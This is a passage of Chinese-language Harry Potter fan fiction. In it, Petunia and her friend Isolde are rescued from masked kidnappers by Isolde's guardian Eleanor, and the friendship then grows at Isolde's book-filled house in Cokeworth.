这个叫埃莉诺的女人右手夹着一根香烟,左手拎着一罐汽水。看到伊索尔德时候,她眯起眼睛吐出最后一口烟雾,薄唇边还残着火星的余光。然后她抬起右手,手腕轻巧一转,将那支燃到末端的香烟按进了那只半满的易拉罐里,罐身顿时发出一声闷响,烟火在冰冷的汽水残渍中呛出一缕青白的雾气。然后她满不在乎地向她们走过来,走近了一看,埃莉诺的皮肤是古铜色的,看起来就充满了日晒雨淋的痕迹,一点也不光滑。一双灰绿色的眼睛像鹰隼一样,细看之下,她的鼻梁竟然还有一道细长的旧伤痕,从右眉延伸到眼角下方,把佩妮吓了一大跳。
佩妮的心突然剧烈地跳了起来,太不礼貌了,一个科克沃斯的淑女绝不会穿成这样,也不会在大庭广众之下公然吸烟,但是那个叫埃利诺的女人掐灭烟头的动作行云流水,一种古怪的感受吸引着佩妮又忍不住再看两眼。
埃莉诺走近了,看见伊索尔德,笑了起来,眼角的细纹使她那鹰隼一般的眼睛看起来柔和了不少。
“埃莉诺,这是佩妮,我的朋友。佩妮,这是埃莉诺,这是我的家人。”伊索尔德简单给她们介绍了对方。
埃莉诺看了一下佩妮,被那灰绿色的眼睛盯着的时候,佩妮背后的寒毛一下就竖起来了,然后埃莉诺伸出手,不由分说地握住了佩妮的手,上下晃了晃,埃莉诺得手很温暖,手掌处有薄茧,手劲还很大,一下握得佩妮快要叫出来,但是很快,埃莉诺就把手伸回去了,在她宽阔的工装裤口袋里掏着什么。
佩妮收回自己被捏的生疼的手,紧绷了身体,警惕地看着埃莉诺,只要有一点不对,她拔腿就跑。
但是埃莉诺掏出了一把五颜六色的糖果。
伊索尔德欢呼了一声,从埃莉诺的手上取了一颗糖,塞进嘴巴里,然后开心地叫起来:“是我最喜欢的橘子味!”埃莉诺冲佩妮挑了挑眉,佩妮在伊索尔德期待的目光中抿紧嘴巴,伸出手从埃莉诺的手中拿走了一颗糖,她努力控制自己不要抖,也不要触碰埃莉诺的手掌,也没看清是什么口味,就塞进了自己的口袋里。
“那么佩妮,我们回见。”伊索尔德把自己脱下来的浅蓝色的斗篷交给了埃莉诺,埃莉诺伸出她的左手让伊索尔德吊住,伊索尔德冲佩妮挥了挥手,两个人扭头走进炉灰巷。
佩妮转头抱着书,沿着大路一路跑着回到了霍尔太太的住所。进房门之前,她掏出了那颗糖,棕色的外衣,里面已经融化了一点。佩妮下意识想把它扔掉,但早扔进垃圾桶之前,伊索尔德毫无戒备吃下那颗糖的欢快神情浮现在了她的脑海里,于是鬼使神差地,佩妮拆开了那颗糖舔了一口
——是太妃糖味的。
5. chapter4
“埃莉诺呢?”佩妮抱着书问,伊索尔德也在张望,天阴沉沉,铅灰色的云朵又堆积在了科克沃斯天空的上方,但是平时在路口等她们的那个女人并不见踪影。
这段时间的相处,佩妮已然习惯将伊索尔德送到炉灰巷口,享受埃莉诺带来的一颗糖果的甜蜜,再与伊索尔德和埃莉诺分别。
但是今天,埃莉诺在哪?
伊索尔德张望了一下,对佩妮说:“今天埃莉诺去采购吃的了,可能有什么事情耽误了一下?”
天边响起了一声沉闷的滚雷,要下雨了,她们谁也没有带伞。
伊索尔德轻轻推了推佩妮说:“佩妮回去吧,今天不等埃莉诺了,要下雨了,我一个人可以的。”佩妮有些担忧地看了一眼伊索尔德,看是看了一眼天色,她只好皱着眉,与伊索尔德说了告别。看着伊索尔德三步并作两步跳进炉灰巷,拐过一个街角身影就不见了,佩妮咬咬牙转头走了。
只是刚走了几步,佩妮抱着她的书,又犹豫地站到了炉灰巷的路口。天色并不明亮,两侧的低矮平房夹住路口,就像一只野兽张着黑漆漆的大嘴,等待佩妮的进入。路口那家房屋突然钻出来一个穿着邋遢衣服的老女人,满面褶子,鹰钩鼻,往下水道倾倒了好大一盆污水,溅起的污水差点沾上佩妮的衣服,她往旁边跳了几步,避开污水。那个老妇人阴测测地盯着佩妮干净的衣裙,露出一口黄牙,恶劣地笑道:“雀鸟再不回家,就要被老猫叼走了哦。”
佩妮没有理那个老妇人,她盯着炉灰巷斑驳的石砖大口深吸了几口气,仿佛下定了什么决心一般,冲进了炉灰巷。
她要赶上伊索尔德,陪她一起回去,等埃莉诺回来后,再请埃莉诺送她回霍尔太太家。
她是这么打算的,但是伊索尔德呢?
佩妮冲进炉灰巷,站在低矮逼迫的砖瓦房下,茫然环顾了一下脏兮兮的路口,看不见伊索尔德的身影。她确信伊索尔德并没有比自己快到哪里去,炉灰巷就这么一条主干道,伊索尔德到哪里去了?
佩妮抱着书,咬咬牙往前走,她要找到伊索尔德。
天边偶尔传来一声闷雷声,还有不知道哪里的水滴在水洼上的滴水声,炉灰巷怎么这么安静,这个环境下,佩妮甚至能听见自己的心跳和呼吸声。
很快,她在一个岔路口,看见伊索尔德被几个穿着黑色衣服的人围住了,他们背对着佩妮,将伊索尔德团团围起来,将她堵在了路尽头倒塌的石灰墙前,其中有几个人手里还拿着木棍。伊索尔德抬头看着他们,金色的长发散落在她的肩头,但是她的表情还是一如既往的平静。
佩妮只看了一眼,就迅速地蹲下来,把自己藏在石砖墙后面,她的心激烈地跳动了起来。
他们的声音断断续续地从不远处传来。
“卡尔维特小姐,很抱歉,你得跟我们走一趟了。”声音非常古怪,听不出男女,不知道是用了什么装置。
“你们带走我是没用的,卡尔维特先生并不会为我都出一个子儿的。”伊索尔德冷静的声音响了起来
——她是怎么做到发生任何事情都这么平静的?
佩妮靠着石砖墙不合时宜地心想。
冷汗顺着佩妮的背脊滑了下来,她的大脑在疯狂地与运转,她好像被牵扯进了什么麻烦事情,这群人都没有人看到她,只要现在安静地,悄悄地离开就好了,今天就到此为止了。
佩妮回头,再次回望过去。
这回伊索尔德看见了她,那双浅蓝色的眼睛里罕见地染上了一丝焦急那双浅蓝色的眼睛里闪过吃惊的神色。
一个大胆的想法在佩妮的脑子里成型了,她冲伊索尔德点了点头,转过来把怀中的书本放在了一边屋檐下干燥的地上,四处环视了一下,抱起了一个重量合适的石头,石头上长满了青苔,冷冰冰又滑腻腻的,抱起来的时候,蹭了佩妮一手的泥土,簌簌落下的泥灰把佩妮白色的裙子弄脏了。
她小心地重新潜回路口,缩在角落,跟伊索尔德对视上了,然后她把石头猛地朝那群黑衣人不管不顾地砸过去,嘴里大喊:“警察先生,他们就在这里!”
石头不知道砸到了哪里,那群黑衣人一阵骚乱,吃惊地回头,佩妮发现他们都带了奇形怪状的动物面具,一个面容可惧的猪,一个古怪的马。电光火石之间,伊索尔德推开抓向她的手,灵活地从他们身下钻出来,扑向佩妮——佩妮抓住了她。
她们手拉手开始沿着炉灰巷跑起来,伊索尔德的手是冰冷的,但是佩妮也是,两个人交握的地方生成了黏腻的汗水,像胶水一样粘在两个人的手上,但她们谁也没把手松开。
一开始是佩妮拉着伊索尔德在跑,随后伊索尔德开始带着佩妮钻向那些堆满了杂物的路,她们从破旧的手推车上跳过去,将手推车推翻,挡住路,从剩下一半的围墙洞里钻过去,灵巧的身体在这些复杂的路面上为她们带来了一点生机,但是挡不住身后黑衣人愤怒的吼叫逐渐逼近。
伊索尔德的眼镜在奔跑的路上掉了,佩妮回头看了一眼,银边方框眼睛掉在地上,弹了两下,随后掉进了道路旁边的排水口,不知所踪。身后的脚步声和咒骂声步步紧逼,伊索尔德拉着佩妮,不让她停下来。到下一个路口,跳下石阶的时候,伊索尔德惊呼了一声,随后跌倒在了地上,她踏空了。
佩妮要去拉她,但是伊索尔德挣扎了好久也没有爬起来,她低头一看,伊索尔德的左脚肿了好大一块。身后的脚步声已经逼近了,仿佛死神的脚步。伊索尔德果断挣脱了佩妮扯住她的手,推动佩妮的小腿,催促她:“快点跑,佩妮,不要回头。”
但是佩妮僵在原地,大口大口地喘着气,她双腿像灌了铅,肺里火烧火燎,每一次喘息都带着血腥味,她跑不动了,但她也没有办法把伊索尔德一个人留在原地。在她的视线中,带着动物面具的黑衣人逐渐出现,他们自若地跃下那个把伊索尔德摔伤的高台,像看着待宰的羔羊一样,胸有成竹又气势汹汹地向他们走来,死神逼近了。
绝望中,佩妮尖叫起来:“救命啊,有没有人能帮帮我们。”
一个人从后面追了上来,抱着超市最常见的那种购物用的黄色的纸袋子,气势汹汹地冲上来,她首先把纸袋子狠狠砸向其中带着猪头面具人的头上,纸袋子里的东西滚落了一地。随后一抬脚踹翻了举着木棍冲上来的马面人,劈手夺下他手中的木棍,一棒子敲倒试图爬起来的猪面具人,反正再放倒另外两个逼近的面具人,然后大步跨过他们,弯腰伸出手,握着马面具人的手腕——在一声很清脆很响的喀嚓声中,马面人也昏了过去。
这个时候,纸袋子里掉出来的青苹果味的罐装汽水,咕噜噜滚到了佩妮沾满了青苔泥土的鞋边。
佩妮跌坐在地上,伊索尔德在地上慢慢爬到佩妮的身边,用冰冷的手捧住佩妮的脸,带点强硬地把佩妮的脸转过来,盯着她的眼睛温柔地说:“佩妮,我们安全啦,埃莉诺来了。”伊索尔德声音在颤抖,她的手也在颤抖。
在那湖水一般浅蓝色的眼睛里,佩妮终于哇的一声哭了出来。
埃莉诺弯腰去捡散落一地的东西,有法棍,卷心菜,土豆,火腿,汽水,还有两包烟。走到佩妮身边,她捡起来最后的那罐青苹果味的汽水,把纸袋子塞进伊索尔德的怀里,抬手粗暴地擦去佩妮脸上的涕泪混合物,粗糙的皮肤摩挲得佩妮的脸生疼,然后有些嫌恶地在佩妮的还算干净的衣领上把自己的手擦干净,随后左右手并用,一手从地上抄起一个女孩,将两个女孩铲进了自己的臂弯中,离开了炉灰巷。
雨终于落下来了,冰冷的雨滴打在埃莉诺的皮夹克上,噼里啪啦作响,与佩妮不时的抽噎混在一起。炉灰巷深处传来一声野狗的吠叫,旋即又被雨声所吞没。
佩妮把自己的脸埋在埃莉诺温暖的脖颈处,感受到她跳动的脉搏,将脸上新流出来的泪水和鼻涕全糊在了她身上。
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佩妮裹着一张绿色的小毛毯,坐在警局接待室大厅的长凳上瑟瑟发抖。不远处的旁边,伊索尔德坐在轮椅上,手里捧着一杯热可可,正在接受警局局长的问话。她抬头仰视着警局局长,嘴里像是在说着什么。
佩妮抖得太厉害了,听不清他们谈话的内容,局长的体型很胖,看起来有三倍伊索尔德那么大,他的眉头紧锁,额头上布满了细密的汗珠,夹在粗胖的右手手指间的香烟已经有好一会儿没动过了,长长的烟灰看起来随时会掉落。要换做是佩妮被局长盯着,她保准一个字都说不出来,但是伊索尔德的面容依旧平静,看起来就像是什么事情都难不倒她,佩妮觉得她的朋友简直太厉害了。
接待室大厅的长凳又硬又冷,还没有靠背支持,佩妮坐了这么久,只觉得寒意从凳子底下一路钻到了她的头顶,发生的事情太混乱了,她的思维也是混乱的,她只知道自己一直在喘气,还有一点头晕。
埃莉诺推门进来了,端着另外一杯冒烟的热可可,递到一边发抖一边喘气的佩妮面前,随之而来的还有一颗白色的小药片停在埃莉诺的手上。
“□□,把它吃掉。”埃莉诺给佩妮下了一道简单的命令。
地什么?佩妮没有听清,但是埃莉诺已经把药片递到佩妮的嘴边了,于是她茫然地张开嘴巴,把那白色药片吃掉,然后被埃莉诺粗暴地灌下了整整一大杯的热可可,随后一个口罩就盖到了佩妮的脸上。
“放轻松,小鸟。”埃莉诺把佩妮垂到脸颊的金发别到了她的身后,然后走到了伊索尔德身后,抱起了胳臂,局长头上的汗更多了,夹在手上的烟灰终于簌簌落下。
佩妮的神智慢慢开始回笼,她也开始出汗了,所有的声音又开始向她涌过来。周围的交谈声、打字机的咔嗒声像潮水一样涌进来,声音好像放大了数倍,捶击着她刚刚平复一些的神经,给她带来一阵眩晕。
她听见局长对伊索尔德说:“很抱歉卡尔维特小姐,针对今天的事情,我们会彻查科克沃斯的安全系统后给令尊一个满意的答复。”
伊索尔德微笑地对局长说:“卡尔维特先生日理万机,您只需要给我一个答复就好了。”
“好的,卡尔维特小姐。”局长不停地擦着自己额头上的汗,飞快瞥了一眼埃莉诺又迅速收回了视线。埃莉诺并没有看局长,她就在伊索尔德后面抱着手,目光涣散,好像在神游一样,指间无意识地摩挲着夹克袖口的一道磨损痕迹。
真奇怪,明明埃莉诺是她们三个人当中看起来年龄最大的那个,但是进入警察局后,所有的事情却都是伊索尔德出面解释。
佩妮胡思乱想之际,警察局局长陪着埃莉诺推着伊索尔德走了过来,坐在轮椅上的伊索尔德对佩妮眨眨眼,露出一个温柔的笑容说:“我们该回家了。”
警察局长慷慨地把自己的私人汽车借给了埃莉诺,让她们开车回去,埃莉诺把伊索尔德抱到车座后面,然后把昏昏沉沉的佩妮也塞到了伊索尔德旁边,打开了驾驶位,坐了上去。
汽车启动了,车窗外的景物在不断倒退,看着像月亮一样一盏一盏闪过去的街灯,佩妮突然一个惊醒,从伊索尔德的肩膀上坐直:“我的书!”前座的埃莉诺发出了一声响亮的笑声,伊索尔德也忍不住弯起了嘴角,她摸了摸佩妮的耳朵说:“戈斯警长已经派人去炉灰巷取证调查了,我们的书明天会有人给我们送回来的。”
佩妮于是又靠上了伊索尔德的肩膀,勉力对抗自己快要上下合拢的眼皮,问出了心底里另外一个疑惑。
“伊索尔德,他们为什么要伤害你,是因为你姓卡尔维特吗?”
伊索尔德只是将头偏向车窗外,手指温柔地一下一下捋着佩妮的头发,车窗外路灯的光线交叠射入车内,在佩妮的裙子上投下像栅栏般游走的光线。伊索尔德手可真的温暖啊。
“先睡觉吧,这个故事下次再告诉你。”被黑暗彻底吞没前,佩妮听见伊索尔德这么说。
6. chapter5
佩妮从床上坐起来,大口喘着气,阳光从打开的窗户里投过来,照在木地板上,尘埃在空中飞舞。
佩妮跑下楼,霍尔太太在煮汤,厨房里泛着一股香甜的奶油味。
霍尔太太看到佩妮,亲切地笑起来,她今天带上了助听器:“马上就可以吃早餐了,等一下哦佩妮,你先上去把鞋子穿上。”
佩妮穿着粉红色的睡裙呆呆地站在厨房的门口,阳光洒在她身上,沐浴在温暖的阳光中,她感觉一切都不太真实。
等佩妮穿好鞋坐在餐桌旁,霍尔太太端上了热气腾腾的奶油蘑菇汤,佩妮小心地观察霍尔太太的神色,支支吾吾地说:“霍尔太太,那个,我,昨天……我……”她不知道怎么开口,炉灰巷,面具人,逃跑,警局,这些事情像石头一样堵在了佩妮的嗓子里,她本能地不想让霍尔太太知道这些事,更不想让霍尔太太写信告诉自己的爸爸妈妈和莉莉。
霍尔太太只是面色如常地给佩妮盛出一碗蘑菇汤,对佩妮露出一副带点愧疚的表情:“噢,我可怜的佩妮,最近一直在下雨,天气是很冷,我都没有注意到你感冒了,昨天他们把你送回来的时候说你吃了一颗感冒药,在她们家睡了一觉才送你回来的。怎么样,今天感觉如何,还有嗓子疼啊咳嗽啊之类的不舒服吗?”
佩妮心虚地低下头,假装嗓子不舒服,咳嗽了几声,红着脸对霍尔太太说:“哦对,我感冒了,但是我今天已经好了,谢谢你霍尔太太。”
霍尔太太认真地看了一眼佩妮的脸色,才耸耸肩说:“好吧,年轻真好。今天这个阳光可真难得,你可以出去和朋友玩一下佩妮,你需要像你妹妹一样,多交一些朋友才好,哦对了——”她颤巍巍起身,找到她的老花镜,在背后的柜子上翻找了一下,转身递给佩妮一张纸条,佩妮接过来一看,上面工整地写了一个地址。
紫藤巷17号
佩妮一眼就认出那是伊索尔德的字。
霍尔太太低下头,从老花镜后看着佩妮说:“你的朋友给你留下了她们家的地址,并且留言欢迎你去玩。紫藤巷,我想想,好像要穿过炉灰巷,但我建议你一个人过去的时候,走马车坡,就是从老集市的那个方向绕过去的那条坡,那条路虽然远了一点,但是佩妮你知道的,我答应了你的父母,暑假期间需要保证你的安全。”
佩妮将字条收进自己的口袋,冲着霍尔太太很认真地点了点头。
头顶的太阳有一点大,晒得佩妮的脸上出了一层薄汗,她把外套脱下来,拎在手臂上,慢慢爬坡。
路两旁是盛开的鲜花和青草,身边自行车来来往往,铃声清脆,后背是集市喧闹的声音。
爬过最高点,一栋在阳光下发光的小房子就出现在佩妮的视线里。
这个房子看起来像一块斜插在地上的快融化的奶油蛋糕,房顶有一点歪斜。整个房屋点缀着绿色的植被,白墙被绿叶爬得乱七八糟,有些地方几乎看不见砖块,只有一团团生机勃勃深绿色的常春藤和浅绿色的爬山虎在打架。
佩妮直觉这是伊索尔德家,她快步跑过去,门牌上写着:
紫藤路,17号。
佩妮听到割草机的轰鸣,埃莉诺推着机器从房子的背后拐出来,右手带着白色的工具手套,左手夹着一根烟,白色的手套就夹在她的腋窝下。她蓬松的棕红色头发压在一款老旧的牛仔鸭舌帽下,只穿了一件白色的背心,阳光下,她古铜色的皮肤在发光,肩颈线条流畅而分明,小臂肌肉的轮廓在动作间若隐若现,佩妮隐约见到几条长长的陈旧的伤疤在埃莉诺的背上蜿蜒。
她的伤疤像有魔力一样吸引了佩妮的视线,埃莉诺看见佩妮,割草机调转了一个方向,将后背藏起来,左手把烟从嘴里拿下来,冲她敬了个礼,随后将烟叼回嘴里,推着割草机走远了。
“嗨,佩妮,快过来。”伊索尔德的声音从上方传来,佩妮抬头,伊索尔德就坐在奶油蛋糕二楼打开的一扇窗户里冲她挥手,金色的头发在太阳下闪闪发光。
奶油蛋糕的一楼有一些昏暗,装修虽然好像是上个世纪的,但是装修齐全,客厅里竟然还有一台电视机。客厅的左边有一条楼梯,转上二楼,一下明亮了起来。
二楼的房间被打通成了一间房,窗户都打开了,和煦的阳光在这间房间随意飞舞。墙壁挂满了风铃,紫罗兰,蝴蝶兰这些植被和装饰,风吹进来,就像拨动了琴弦一样,奏出一阵清脆的响声。
佩妮梦幻般地走过去:“天呐,伊索尔德,整个二楼都是你的房间吗?”
房屋的左边放了一张紫色的小床,小床的地板上堆了厚厚的一摞书。伊索尔德就坐在床旁边的轮椅上,她的脸上架了一个新的眼镜,稍微有些大,左脚打着厚厚的石膏,膝盖上摊着一本书,旁边的小木桌上还乱七八糟地堆叠着好几本书,她合上书,转过轮椅面对佩妮:“嗯呐,埃莉诺帮我打通的,我住在二楼,她住在一楼。”
佩妮继续打量着伊索尔德神奇的房间,她的视线很快被房屋东南角放置着一架高大的书架吸引了,这个书架高耸到天花板,上面摆满了各式各样的书籍,非常大,将近占了整个房子的四分之一。
佩妮走过去,视线在书架上流连,惊叹地说:“天呐,这些都是你的书吗,我,我可以摸一下?”
伊索尔德笑着说:“这是我爸爸妈妈留给我的书,不过准确的说,主要还是妈妈留给我的书。在我的房间,你想做什么都行,佩妮。”
佩妮靠近那个书架,书架足足有八层高,每一层都摆满了书,最上面的佩妮看不到,靠近佩妮这几层的书在书脊上用烫金字体写着什么《释梦》、《精神分析引论》、《神经症》等,这些名词佩妮根本看不懂,她只是惊叹看过去,用手指轻轻抚过这些书本的书脊,感受微凉的触感从手指传递上来,带给她背脊微微颤栗的感觉。
“这些书……你都读完了吗?”佩妮不可思议地问。
伊索尔德笑起来:“没有呢,我妈妈以前是个心理学家,她的书我大多都看不太懂,我看得很慢,我从最下面一层开始看,挑我自己喜欢看的,现在才慢慢看到第二层呢。”
那也很多了,佩妮咋舌。她的视线往下看,书架的第一层,放着一个相框,里面的照片微微有一些褪色,里面是一个穿着长裙戴眼镜坐在单人皮质沙发上的女人,膝盖上倒扣着一本书,脸上洋溢着生机的笑容,有着跟伊索尔德一样的水蓝色的眼睛。站在她背后的是一个穿西装的金色长发男人,很温柔地注释着相片中的女人,他的五官是放大版的伊索尔德。
相片下面用飞舞的字体写着:阿尔弗雷德·塞林格 & 玛格丽特·怀特霍恩,摄于1955年,美国费城。
佩妮惊呼:“这是你爸爸妈妈吗?我妈妈也叫玛格丽特。”
“是吗?”伊索尔德推着轮椅走过来,接过佩妮手上的相册,她纤细的手指抚上照片中的人物,低头说:“这是我的爸爸妈妈,不过我爸爸在我6岁的时候,车祸去世了。”
伊索尔德的声音很平静,但她的声音让佩妮突然喉头堵了起来,她慌忙道歉:“对不起,我,我是说……嗯,对不起。”
伊索尔德抬起头来安抚性地冲佩妮笑了一下,她的五官淡淡的,表情也淡淡的,浅蓝色的眼睛里面好像什么也不会留下。
可是,佩妮想到一个问题,她试探性地问:“可是不对呀,伊索尔德,你姓卡尔维特。”
伊索尔德低下头去抚摸照片上带着笑容的女人:“嗯,卡尔维特是我现在的姓氏,在我8岁的时候,我妈妈带我改嫁给了现在的这个父亲,所以我改姓了。”
佩妮问道:“卡尔维特这个姓好像很厉害,我看他们对你很尊敬。”
伊索尔德笑起来:“因为卡尔维特先生碰巧在伦敦拥有一个很大的公司,很大的别墅,碰巧还有一点不错的声誉,他的生意可能碰巧做得大到大家都知道。”
佩妮灵光一闪:“所以那群人就是为了绑架你,去勒索你的父亲。”
伊索尔德点点头:“嗯,我不知道他们怎么知道我在这里的,因为我平时并不住在这里,这里是我妈妈的老房子,我只是暑假会过来住。不过他们选择错了对象,这是一场从头到尾都徒劳无功的勒索而已,因为卡尔维特先生根本不会为我出一分钱。”
佩妮倒抽了一口冷气:“为什么?”
伊索尔德再次低头看着照片上的女人,手指摸索照片中她蓝色的眼睛:“我妈妈在我10岁的时候也去世了。我既不流淌卡尔维特真正的血脉,也不能如卡尔维特先生所愿是一个男孩。所以在我妈妈去世后,卡尔维特先生马上又娶了一个妻子,一个符合他期待的继承人,也就是我法律上的弟弟,现在应该也已经4岁了。但是他们不太喜欢我回去,所以平时我在切尔滕纳姆的女子寄宿中学读书,这是我继母为我选的中学。暑假就来妈妈的老房子这里,我跟现在我法律意义上的家人接触得并不多。”
一直聪明的,冷静的,好像什么都难不倒她的伊索尔德此刻就坐在轮椅上,穿着蓝色碎花连衣裙,和佩妮一样颜色的头发还是像往常一样整整齐齐地编成了两个小辫子,今天发尾系的是白色发带束成的蝴蝶结,阳光很好,她就沐浴在阳光下。风从大开的窗户,吹进来,吹动她的头发和裙摆,像个天使一样。
原来这么大的房间是让佩妮很羡慕的,因为伊万斯家的房子
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并不大,她和莉莉一起分享二楼不大的空间,但是现在她觉得伊索尔德原来令人羡慕的大房间此刻空荡荡的,空得一时令人难以接受。
有什么东西攫住了佩妮,她感觉今天的自己蠢透了,总是说一些不合时宜的话。
但伊索尔德马上察觉到了佩妮的情绪,她抬起头笑着对佩妮说:“没事的佩妮,我的爸爸妈妈在这些书里陪着我呢。”她把轮椅推到佩妮身边,和佩妮并肩一起抬头看那高大得令人惊叹的书架:“我的爸爸以前是个艺术史老师,妈妈是心理学家,这些书里有他们的笔记,我每年暑假回来,看一点他们留下的书,就好像在和他们对话一样。”
伊索尔德随手从第一层的书架上抽出一本书,翻开稍许有一些泛黄的书页,佩妮看到书页上用深蓝色的墨水圈点了几处,在旁边的空白处用很漂亮的字体注释了几句话。
伊索尔德偏过头,看着佩妮,指着书上的笔记对她眨眨眼睛:“看到爸爸妈妈留下来的这些东西,我就感觉我在跟他们交流。但是这些书有的还是太难了,所以有时候我也会看看别的,佩妮你推荐的傲慢与偏见就很好看!”
佩妮扯了扯嘴角,露出一个稍显难看的笑容,伊索尔德合上书本正视她,很认真地说:“没事的佩妮,这些事情早就不会伤害到我了。从我有记忆起,我就知道我的亲生父母非常的爱我。如果总是沉湎在过去的悲痛中不能往前看,这不是爸爸妈妈把我带来到这个世界的意义,他们赐予我灵活的大脑,敏锐的双眼,是让我继续去替他们看一下这个世界,而不是沉溺在过往的悲伤里。”
佩妮心里涌起纷繁的情绪,她突然间就很想去握伊索尔德的手——而她也立刻就这么干了,伊索尔德的手是冰冷的,佩妮紧紧握住她,自己的体温传了过去。
伊索尔德紧紧回握住佩妮的手,调皮地冲她眨了眨眼睛:“还是要感谢慷慨的卡尔维特先生一家的,因为他们负担了我读书的费用,并且给了我一个自由选择自己喜欢的家人的机会。”
佩妮心里一顿,她问:“你是指埃莉诺吗?”
伊索尔德点点头看向窗外:“埃莉诺是我妈妈的好朋友,她以前好像为警察局工作,但是很灵活,工作不固定,剩下的她也不肯跟我多说了。我妈妈以前经常协助警察局进行犯罪侧写,有一次一个案件,埃莉诺差点被当作嫌犯锒铛入狱,我妈妈帮她洗脱了罪名。我妈妈去世后,埃莉诺就出现了,她一直在帮助我,后来我的继母把我打发出去上学的时候,不让我回家的时候,埃莉诺就顺利成章地跟我住在了一起。”
“我很庆幸我能和她成为家人,我也很庆幸我能和你成为朋友,佩妮。按照我的经验,我选家人和朋友的眼光都不会差到那里去。”
房屋外的草坪上,埃莉诺叼着烟,推着轰隆隆的割草机从她们窗下经过。佩妮被伊索尔德逗笑起来,她看着这个比她矮小,看起来无比瘦弱,但是又好像潜藏了无限能量的女孩,深吸了一口气,由衷地感叹:“你真是太了不起了,伊索尔德。”
紫藤路就像一个秘密花园一样,伊索尔德的腿还没好全,只能在家里呆着,佩妮怕她闷,就往来图书馆给伊索尔德借了很多书。伊索尔德看得书又多又杂,好多书佩妮听都没听过,不过本身她知道的书就不多。天气好的时候,她推伊索尔德去草坪上晒太阳,杂物间里有一辆黑色的摩托车,是埃莉诺的宝贝坐骑,有时候她骑上这辆摩托车消失,回来的时候就给她们带来一点糖果和汽水。
紫藤路17号有很多花花草草,伊索尔德说有一些是她妈妈以前留下来的,有一些是埃莉诺新种的,花花草草之间有时候会藏着一只突然到访的兔子,还有小猫,在她们的脚边晃一下,就消失在后方的田野里。佩妮问伊索尔德要不要养一只兔子或者小猫当宠物,伊索尔德摇摇头:“我和埃莉诺只有暑假才回到科克沃斯,平时谁来照顾他们呢?”佩妮点点头,觉得她说的有道理。
天气坏的时候,埃莉诺就把伊索尔德抱下一楼去看电视,她们看着电视里的蒙提·派森的飞行马戏团,遇到好笑的时候,两个人在沙发上笑成一团,埃莉诺不参与她们的活动,但是会给她们无限供应的糖水、水果和汽水。有时候埃莉诺心情好,会上来二楼给她们讲故事,故事的内容不限于如何穿过层层火力封锁的防御线,去营救一个火龙果。或者在一个暴风雨的夜晚,如何在一辆封锁的香蕉潜艇上逃生。埃莉诺的故事总是惊险又刺激,但佩妮一旦追问细节,但埃莉诺总不肯多讲。
佩妮穿过紫藤路17号的大门,就像是爱丽丝跳进了兔子洞,进入了一个梦幻般的世界,她躲进这个世界,短暂地把暑假一直以来的不愉快,统统扔在了脑后。
7. chapter6
霍尔太太给佩妮带来了一张莉莉和伊万斯夫妇从巴斯寄来的明信片。
照片是他们在巴斯博物馆前的合照,莉莉举着一个和她头发一样红艳的气球,大家都笑得很开心,明信片的背面是莉莉的笔迹:
我希望你也在这里。
霍尔太太告诉佩妮他们马上就回来了。
佩妮把明信片往书桌上一扣,将他们灿烂的笑容扣在桌面上,抬头看了一眼天气,跑了出去,又要下雨了,她要在下雨之前到伊索尔德家。
佩妮和伊索尔德坐在书架下面的木地板上,地上堆着几本伊索尔德让佩妮借来的小说。
大部分的时候,佩妮陪伊索尔德看书,伊索尔德用一种令佩妮咋舌的方式快速阅读着书籍,佩妮来回翻阅着那本傲慢与偏见,但是看了很多遍,在对每一个情节都烂熟于心的时候,这个曾经引得佩妮心潮澎湃的故事,也失去了吸引性。
伊索尔德适时递给她一本《简·爱》,对佩妮说:“如果你喜欢傲慢与偏见的话,这本书说不定你也会喜欢。”
佩妮其实不想看书,她想出去玩,想去逛街,想去试新裙子,但是她也没办法把伊索尔德一个人丢在这里,尤其是知道伊索尔德故事后。
于是她接过了《简爱》,然后一发不可收拾。
天边响起一声滚雷,将佩妮从阅读中惊醒,楼道传来脚步声,埃莉诺左肩上搭着一条毛巾,端着一个托盘就上来了,托盘里是两个一样的青瓜鸡蛋三明治,还有一大杯放了冰块冒着气泡的柠檬汽水。
午饭时间到,佩妮有些难以言喻地看着伊索尔德开心地接过青瓜鸡蛋三明治,第一次她来伊索尔德家的时候,中午埃莉诺端上来的是三明治,第二次她来伊索尔德家,中午埃莉诺端上来的还是三明治,佩妮只觉得是巧合,等到来了第七次,每天中午吃的还是三明治的时候,佩妮有些忍不住了:“伊索尔德,你每天中午都是吃的三明治吗?”
伊索尔德小口咬了一下三明治:“嗯呐,埃莉诺的三明治做得很好吃。”
佩妮:“我的意思是,没有其他的东西了吗?”
伊索尔德思索了一下:“嗯,有!埃莉诺有的时候会点披萨,或者汉堡,我喜欢披萨多一点,埃莉诺知道哪家的披萨最好吃。”
佩妮扶额,她明白了,确实,谁也想象不出埃莉诺在厨房里炖汤的形象。
她认命地咬了一口青瓜鸡蛋三明治,和伊索尔德看着窗外的天空,有风从打开的窗户里吹进来,快要下雨的天空堆满了灰色的形态各异的云朵。
佩妮抱怨地说:“我真是受够科克沃斯了,老是在下雨,没完没了,我所有的浅色裙子都没有办法穿了。”
伊索尔德偏头看着佩妮:“下雨就会很凉快呢,对不对,我们可以在不下雨的晴天,让埃莉诺带我们去外面玩,说不定还能捡到蜗牛,我上次捡到一个蜗牛,它的壳像宝石一样!”
佩妮点点头,她期待跟伊索尔德出去玩,但是捡蜗牛就算了。伊索尔德突然指着远处的云朵说:“看,那朵云就像一头熊!”佩妮看过去,觉得伊索尔德说的很形象,她来了兴致,指着另外一朵云说:“那朵云像一匹狼!”佩妮和伊索尔德就缩在干净明亮的小屋中,心满意足地吃着三明治,看着这些天空上的“熊”和“狼”徒劳无功地对她们咆哮。
佩妮吃着三明治,有些犹豫地开口:“嗯……伊索尔德,你小时候有没有遇到过…一些特别奇怪的事情?”
“比如?”
“我是说,比如…能让花在手里开开合合?或者从很高的地方掉下来却没事?”
“哈,这算超能力吗,佩妮,我小时候爸爸跟我玩猜猜硬币在哪个手掌里,我每次都能猜对这种算不算?”
“不是,我是说一些难以用常理去解释的事情。”
“嗯,没有呢。佩妮,妈妈的书上说,我们小时候大脑还没有发育完全,为了保护我们,记忆是会有欺骗性的,小时候我觉得像梦一样不可思议的事情,其实是我爸爸妈妈在后面哄我,就像小时候过圣诞节,我真的以为有圣诞老人的存在,会听到并实现每一个小孩的愿望,其实听到愿望的不是圣诞老人,是我的爸爸妈妈。”
佩妮决定换一种方法问:“那你有没有收到过猫头鹰给你寄过来的信,你听说过霍格沃茨吗?”
伊索尔德思索了一下,摇了摇头。
